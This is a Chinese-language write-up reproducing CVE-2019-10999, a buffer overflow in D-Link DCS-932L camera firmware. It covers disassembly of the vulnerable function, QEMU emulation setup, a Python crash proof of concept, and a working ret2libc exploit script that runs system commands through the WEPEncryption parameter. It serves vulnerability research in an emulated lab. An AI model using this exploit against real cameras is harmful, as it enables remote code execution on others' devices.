行业新闻

CVE-2019-10999 Dlink IP 摄像头缓冲区溢出

CVE-2019-10999 Dlink IP 摄像头缓冲区溢出

 

漏洞分析

CVE-2019-10999 是 Dlink IP 摄像头的后端服务器程序 alphapd 中的一个缓冲区溢出漏洞,漏洞允许经过身份认证的用户在请求 wireless.htm 时,传入 WEPEncryption 参数一个长字符串来执行任意代码。具体描述以及受攻击的型号、固件版本可以查看参考链接,此处漏洞复现采用的是设备 dcs-932l 固件版本 1.14.04,固件下载链接查看参考链接。

对后端服务器程序 alphapd 进行分析,存在漏洞的函数是 sub_435DEC,开辟的栈帧大小是 0x48,其中该函数的返回地址保存在 sp + 0x40,存在溢出的缓冲区起始地址是 sp + 0x18。因此,只需要向缓冲区写入超过 0x28 个字节就可以溢出覆盖返回地址,劫持控制流。除此之外还可以控制 S0~S5 寄存器。

如下是 sub_435DEC 栈帧的开辟以及返回地址的存储汇编代码:

.text:00435DEC li      $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)
.text:00435DF4 addu    $gp, $t9
.text:00435DF8 addiu   $sp, -0x48
.text:00435DFC sw      $ra, 0x28+var_s18($sp)
.text:00435E00 sw      $s5, 0x28+var_s14($sp)
.text:00435E04 sw      $s4, 0x28+var_s10($sp)
.text:00435E08 sw      $s3, 0x28+var_sC($sp)
.text:00435E0C sw      $s2, 0x28+var_s8($sp)
.text:00435E10 sw      $s1, 0x28+var_s4($sp)
.text:00435E14 sw      $s0, 0x28+var_s0($sp)
.text:00435E18 sw      $gp, 0x28+var_18($sp)

如下是调用 strcpy 函数复制数据到栈上的缓冲区中,strcpy 的第一个参数 des 通过 a0 寄存器传入,由于跳转延迟槽,对 a0 的操作指令在 jalr 指令之后,但是先于跳转指令执行:

.text:00435F98 loc_435F98:                              # CODE XREF: sub_435DEC+134↑j
.text:00435F98 la      $t9, strcpy
.text:00435F9C move    $a1, $s1
.text:00435FA0 jalr    $t9 ; strcpy
.text:00435FA4 addiu   $a0, $sp, 0x18
.text:00435FA8 lw      $gp, 0x28+var_18($sp)
.text:00435FAC b       loc_435E98
.text:00435FB0 nop

如下是函数执行完毕进行堆栈平衡,以及恢复 S0~S5寄存器、恢复 ra 寄存器到函数返回地址并跳转执行。

.text:0004BF34 loc_4BF34:
.text:0004BF34                 lw      $ra, 0x28+var_s14($sp)
.text:0004BF38                 lw      $s4, 0x28+var_s10($sp)
.text:0004BF3C                 lw      $s3, 0x28+var_sC($sp)
.text:0004BF40                 lw      $s2, 0x28+var_s8($sp)
.text:0004BF44                 lw      $s1, 0x28+var_s4($sp)
.text:0004BF48                 lw      $s0, 0x28+var_s0($sp)
.text:0004BF4C                 jr      $ra
.text:0004BF50                 addiu   $sp, 0x40
.text:0004BF50  # End of function system

 

漏洞环境搭建

使用 qemu-system-static 搭建

漏洞环境搭建先是使用 qemu-mipsel-static 搭建。

# 进入固件的根目录 复制 qemu-mipsel-static 到根目录
cp $(which qemu-mipsel-static) ./
# 使用 qemu 启动服务器 alphapd
sudo chroot . ./qemu-mipsel-static ./bin/alphapd

根据逆向中的反编译代码提示,是因为需要打开 /var/run/nvramd.pid 文件,那么在固件根目录创建 run 目录和 nvramd.pid 文件。

创建 pid 文件之后,继续运行依旧报错,无法创建 RSA 密钥,应该是缺少 urandom、random 设备造成的,手动在固件根目录创建。

sudo chroot . ./qemu-mipsel-static ./bin/mknod -m 0666 ./dev/random c 1 8
sudo chroot . ./qemu-mipsel-static ./bin/mknod -m 0666 ./dev/urandom c 1 9

报错 unable to write ‘random state’

OpenSSL 需要写入一些信息到 .rnd 文件,上面的错误可能是因为 .rnd 文件不存在,OpenSSL 不知道默认文件在何处,因为 RANDFILE 和 HOME 环境变量没有设置,那么解决方法就是创建 .rnd 文件并且设置环境变量指向这个文件。qemu 启动的时候设置这两个环境变量,解决了上面的问题。

touch .rnd
sudo chroot . ./qemu-mipsel-static -E HOME=/ -E RANDFILE=/.rnd ./bin/alphapd

Can’t get lan ip from sysinfo

通过搜索字符串定位到在 websStartupServer 函数中,通过调用 getSysInfoLong 获取,在 getSysInfoLong 函数中是通过 /dev/gpio 设备获取到,可以通过 patch getSysInfoLong 函数,或者在 websStartupServer 中 patch 地址判定代码。此处选择 patch 后者,就可以让程序在 0.0.0.0:80 端口运行起来。

如下是 websStartupServer 的地址判定处反编译,以及 patch 的基本块:

  v3 = getSysInfoLong(30);
  if ( !v3
    && (v5 = (const char *)nvram_bufget(0, "IPAddress"),
        trace(0, "Can't get lan ip from sysinfo!\n", v4),
        v3 = inet_addr(v5),
        v3 == -1) )
  {
    trace(0, "failed to convert %s to binary ip data", v5);
    result = -1;
  }
  else
  {
    v6 = inet_ntoa(v3);
    ...
  }

重新运行如下:

使用 qemu-system-mipsel 搭建

发现使用 qemu 搭建的调试,使用 gdb-multiarch 连接不上去,于是采用了 qemu-system-mipsel 虚拟机来搭建,进入固件根目录。

chroot . /bin/mknod -m 0666 /dev/random c 1 8
chroot . /bin/mknod -m 0666 /dev/urandom c 1 9

touch .rnd
export HOME=.
export RANDFILE=$HOME/.rnd

chroot . ./bin/alphapd_patch_j

 

漏洞调试

漏洞触发

漏洞触发代码如下,也可以看到成功触发了 segment fault。

import requests

Headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'keep-alive',
    'Referer': 'http://192.168.100.2/setSystemWireless',
    'Upgrade-Insecure-Requests': '1'
}

session = requests.session()
data = '?WEPEncryption=' + 'A' * 0x28 + 'B' * 0x4
res = session.get(url='http://192.168.100.2/wireless.htm' + data, headers=Headers)
print(res.text)

在 QEMU 虚拟机中开启 alphapd,然后使用 gdbserver attach 上 server 的进程,通过 12345 端口提供调试

使用 gdb 调试,如下,保存在栈上的函数返回地址被 BBBB 字符串覆盖

漏洞利用

接下来的步骤就是寻找环视 的 gadget,从栈中获取数据设置 system 函数传入的命令,并跳转到 system 函数执行。

这个地方需要说一下,不能在 alphapd 中去直接寻找 gadget,因为 alphapd 的代码段装载在低地址空间,其中的 gadget 地址高位前两位是 00,通过 url 传递地址会发生截断。因此可以先看 alphapd 装载了哪些 so 文件,从 so 中去寻找 system 函数和 gadget。此处选择了 libuClibc-0.9.28.so ,因为通过 ldd 查看 alphapd 装载的 so 文件,其中有 libc.so,libc.so 链接指向 libuClibc-0.9.28.so。

这个地方是在 QEMU 虚拟机中通过查看 map 文件获取 ibuClibc-0.9.28.so 的装载地址的,如果在实际应用中,需要能够进入设备,从设备上查看 so 的装载地址以及是否开启了随机化,但是一般低端路由器中都是比较老的 Linux 系统,没有地址随机化,那么在 QEMU 中也关闭了地址随机化。此处选择了第一个装载的 libc.so.0 的基址:0x77ed0000

然后获取到 system 函数相对装载地址的偏移是 0x0004BD20,得到 system 函数的地址为 0x77ed0000 + 0x0004BD20 = 0x77F1BD20

在 IDA 中,对 ibuClibc-0.9.28.so 使用 mipsrop.stackfinder(),找到如下的 gadget,同样计算出地址为 0x77ed0000 + 0x00050DE4 = 0x77F20DE4

.text:00050DE4 addiu   $s2, $sp, 0x1C8+var_D8
.text:00050DE8 move    $a0, $s2
.text:00050DEC move    $t9, $s0
.text:00050DF0 jalr    $t9 ;

gadgets 的功能是将 sp + 0x1c8 – 0xd8 处数据传递给 a0,然后跳转到 S0 寄存器中去执行。通过前面对于缓冲区溢出的分析知道 S0 可控,写入 0x10 个字节开始控制 S0 寄存器,写入 0x28 个字节开始控制返回地址。那么整体的利用过程就是:

  • 写入累计 0x10 个字节后,控制 S0 寄存器值为 system 函数地址
  • 写入累计 0x28 个字节后,控制 ra 寄存器值为 gadget 地址
  • 跳转到 system 函数,执行构造的字符串命令。此时已经恢复了堆栈, 从恢复的 sp + 0x1c8 – 0xd8 取出命令开始执行

exp 根据 poc 简单修改如下:

import requests

Headers = {
    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'keep-alive',
    'Referer': 'http://192.168.100.2/setSystemWireless',
    'Upgrade-Insecure-Requests': '1'
}

session = requests.session()
data = '?WEPEncryption=' + 'A' * 0x10 + '%20%BD%F1%77' + 'B' * (0x28 - 0x10 - 0x4) + '%E4%0D%F2%77' + (0x30 - 0x28 - 0x4 + 0x1c8 - 0xd8) * 'C' + 'ls'
res = session.get(url='http://192.168.100.2/wireless.htm' + data, headers=Headers)
print(res.text)

执行结果如下,执行命令 ls

 

小结

本文先分析了漏洞原理,然后分别从 qemu 的两种方式仿真将 alphapd 启动起来进行调试,然后通过 ret2libc 对漏洞实现利用。

漏洞原理还是比较简单的,仅仅是一个缓冲区溢出 + ret2libc的操作。但是实际利用的话,也许还需要获得设备,通过其他方式例如 UART 等先获取到一个 shell,然后看程序的 so 加载内存布局获取到基址。此外,漏洞是将路由器后端 server 发生了栈溢出的,触发 segment fault,如果路由器没有对 server 的守护进程或者看门狗,那么 server 就挂了。如果要稳定利用,可以考虑反弹一个 telnet 回来或者是在 exp 中通过 shellcode 重新启动 server。

 

参考链接

关闭